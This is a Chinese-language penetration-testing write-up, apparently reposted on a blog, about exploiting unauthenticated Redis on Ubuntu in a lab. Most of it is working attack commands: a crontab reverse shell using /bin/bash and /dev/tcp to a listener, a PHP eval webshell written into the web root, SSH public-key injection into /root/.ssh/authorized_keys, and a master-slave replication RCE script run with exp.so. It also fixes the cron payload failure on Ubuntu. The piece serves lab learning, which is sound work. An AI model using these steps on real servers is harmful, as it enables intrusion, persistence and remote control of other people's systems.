滲透測試-Redis未授權訪問漏洞之ubuntu反彈shell問題


0x00 背景

  • 在復現redis未授權訪問漏洞時,通過向linux任務計划文件里寫反彈shell的命令時,發現shell並不能反彈回來,之前使用的server端為Centos,一切順利並沒有出現這種問題,結果這次server換成了ubuntu,就出現不能反彈的問題。

0x01 環境准備

  • ubuntu16.04,用來任務計划反彈shell的靶機
  • MAC,用來接收ubuntu反彈過來的shell
  • redis4.0.10未授權訪問漏洞

0x02 具體過程

0x02.1 安裝redis

  • 安裝:下載、解壓、編譯

    1
    2
    3
    4
    5
    $ wget http://download.redis.io/releases/redis-4.0.10.tar.gz
    $ tar xzf redis-4.0.10.tar.gz
    $ mv redis-4.0.10 /usr/local/redis
    $ cd /usr/local/redis
    $ make
  • 創建服務:二進制文件是編譯完成后在src目錄下,客戶端是/usr/local/redis/src/redis-cli,服務器是/usr/local/redis/src/redis-server。下面為這兩個文件做軟鏈接。

    1
    2
    $ ln -s /usr/local/redis/src/redis-cli /usr/bin/redis
    $ ln -s /usr/local/redis/src/redis-server /usr/bin/redisd
  • 測試是否成功安裝
    KGcfS0.png

  • 至此,表明你的redis已經安裝完畢。

0x02.2 修改遠程登陸配置文件

1
2
3
4
5
6
7
8
9
$ vim /usr/local/redis/redis.conf 配置文件
bind 127.0.0.1前面加上#號
protected-mode設為no
$ 啟動服務 redisd /usr/local/redis/redis.conf

注釋:
- 關閉protected-mode模式,此時外部網絡可以直接訪問
- 開啟protected-mode保護模式,需配置bind ip或者設置訪問密碼
- redis.conf配置文件中daemonize守護線程,默認是NO

KGWHu6.png

KGWbDK.png

  • 默認的配置是使用6379端口,沒有密碼。這時候會導致未授權訪問然后使用redis權限寫文件!!

0x02.3 攻擊利用

  • redis基本命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
連接redis:
redis-cli -h 192.168.1.108

查看redis版本信息、一些具體信息、服務器版本信息等等:
192.168.1.108:6379>info

將變量x的值設為test:
192.168.1.108:6379>set x "test"

獲取設置的某個變量的值:
192.168.1.108:6379>get x

`flushall`是把整個redis數據庫刪除,一般情況下不要用!!!
192.168.1.108:6379>flushall

查看所有鍵:
192.168.1.108:6379>KEYS *

獲取默認的redis目錄、和rdb文件名:可以在修改前先獲取,然后走的時候再恢復。
192.168.1.108:6379>CONFIG GET dir
192.168.1.108:6379>CONFIG GET dbfilename

0x02.4 利用計划任務執行命令反彈shell

  • 在redis以root權限運行時可以寫crontab來執行命令反彈shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
先在自己的服務器上監聽一個端口
nc -lvnp 7999

然后執行命令:
root@kali:~# redis-cli -h 192.168.1.108

192.168.1.108:6379> set xx "\n* * * * * /bin/bash -i >& /dev/tcp/192.168.63.128/7999 0>&1\n"
OK

192.168.1.108:6379> config set dir /var/spool/cron/
OK

192.168.1.108:6379> config set dbfilename root
OK

192.168.1.108:6379> save
OK
1
2
3
4
5
6
7
8
9
10
11
再次科普下:

m:分鍾 - 從0到59的整數
h:小時 - 從0到23的整數
dom:天 - 從1到31的整數 (必須是指定月份的有效日期)
mon:月 - 從1到12的整數 (或如Jan或Feb簡寫的月份)
dow:周一到周日 - 從0到7的整數,0或7用來描述周日 (或用Sun或Mon簡寫來表示)
user:指的是執行命令的用戶
command: 需要執行的命令
星號(*)表示參數所有可用的值,如果為5個*,就代表每分鍾執行一次
符號“/”指定步進設置。“/<interger>”表示步進值,比如*/2 * * * *代表每兩分鍾執行一次任務
1
2
3
4
5
ubuntu下可以利用的cron有以下幾個地方:

/etc/crontab:該文件里面的任務計划可以直接執行
/etc/cron.d/*:該目錄下的任意文件都可以被當作任務計划去執行,並且避免了原先任務計划文件被覆蓋的情況
/var/spool/cron/crontabs/:該目錄下定義的任務計划文件會被執行,不過需要有一個前提,就是該任務計

KYvROK.jpg
登陸ubuntu查看計划任務,已經成功寫入。但是發現計划中存在亂碼,也就是這些亂碼導致計划任務執行錯誤。
這是由於redis向任務計划文件里寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計划,而ubuntu並不會忽略這些亂碼,所以導致命令執行失敗,因為自己如果不使用redis寫任務計划文件,而是正常向/etc/cron.d目錄下寫任務計划文件的話,命令是可以正常執行的,所以還是亂碼的原因導致命令不能正常執行,而這個問題是不能解決的,因為利用redis未授權訪問寫的任務計划文件里都有亂碼,這些代碼來自redis的緩存數據。


KYvvTg.jpg

我們手動把亂碼刪除,發現依然無法成功反彈shell。這是為什么呢?

KYvj0S.jpg

通過視頻資料發現ubantu下默認使用/bin/dash執行腳本的問題,解決方式:將shell環境修改為bash。

KYvzkQ.jpg

成功反彈shell

KYvfeO.jpg

擴展思路

  • 利用Redis未授權訪問寫定時任務反彈shell

  • 利用Redis未授權訪問寫webshell

    • 通過redis未授權訪問漏洞向ubuntu的web跟目錄下寫入一個webshell,然后要知道網站的根目錄,在該測試環境下網站的根目錄為/var/www/html

      1
      2
      3
      4
      set xx "\n\n\<?php @eval($_POST['test']);?>\n\n"
      config set dir /var/www/html
      config set dbfilename shell.php
      save
  • 利用redis未授權訪問向遠程服務器寫入ssh公鑰

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    在本地生成一對密鑰:
    $ ssh-keygen -t rsa
    然后將公鑰寫入 key.txt 文件
    $ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
    之后利用redis未授權訪問漏洞將公鑰寫到/root/.ssh/id_rsa文件中
    $ cat key.txt | redis-cli -h ip -x set crackit
    接下來在redis-cli的交互式shell下執行
    config set dir /root/.ssh
    config get dir
    config set dbfilename "authorized_keys"
    save
    這樣就可以成功的將自己的公鑰寫入 /root/.ssh 文件夾的 authotrized_keys 文件里,然后攻擊者直接執行
    $ ssh –i id_rsa root@ip
  • Redis 基於主從復制的RCE利用方式

    • https://lorexxar.cn/2019/07/10/redis-5-x-rce/

    • 什么是Redis主從復制

      • Redis是一個使用ANSI C編寫的開源、支持網絡、基於內存、可選持久性的鍵值對存儲數據庫。但如果當把數據存儲在單個Redis的實例中,當讀寫體量比較大的時候,服務端就很難承受。為了應對這種情況,Redis就提供了主從模式,主從模式就是指使用一個redis實例作為主機,其他實例都作為備份機,其中主機和從機數據相同,而從機只負責讀,主機只負責寫,通過讀寫分離可以大幅度減輕流量的壓力,算是一種通過犧牲空間來換取效率的緩解方式。

      • 漏洞利用

      • 下載Exp

      • 下載 exp.so

      • 利用

        • 此處可以通過 -p 去設置目標端口(默認6379)

        • python redis-rce.py -r <目標IP> -L <監聽的公網IP> -P <監聽的公網端口> -f exp.so
  • 利用redis未授權訪問遠程命令執行\

  • 鏈接:https://pan.baidu.com/s/1ZqSeFC4p-hoUjOGCs96wOg
    提取碼:9qya

  •  


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM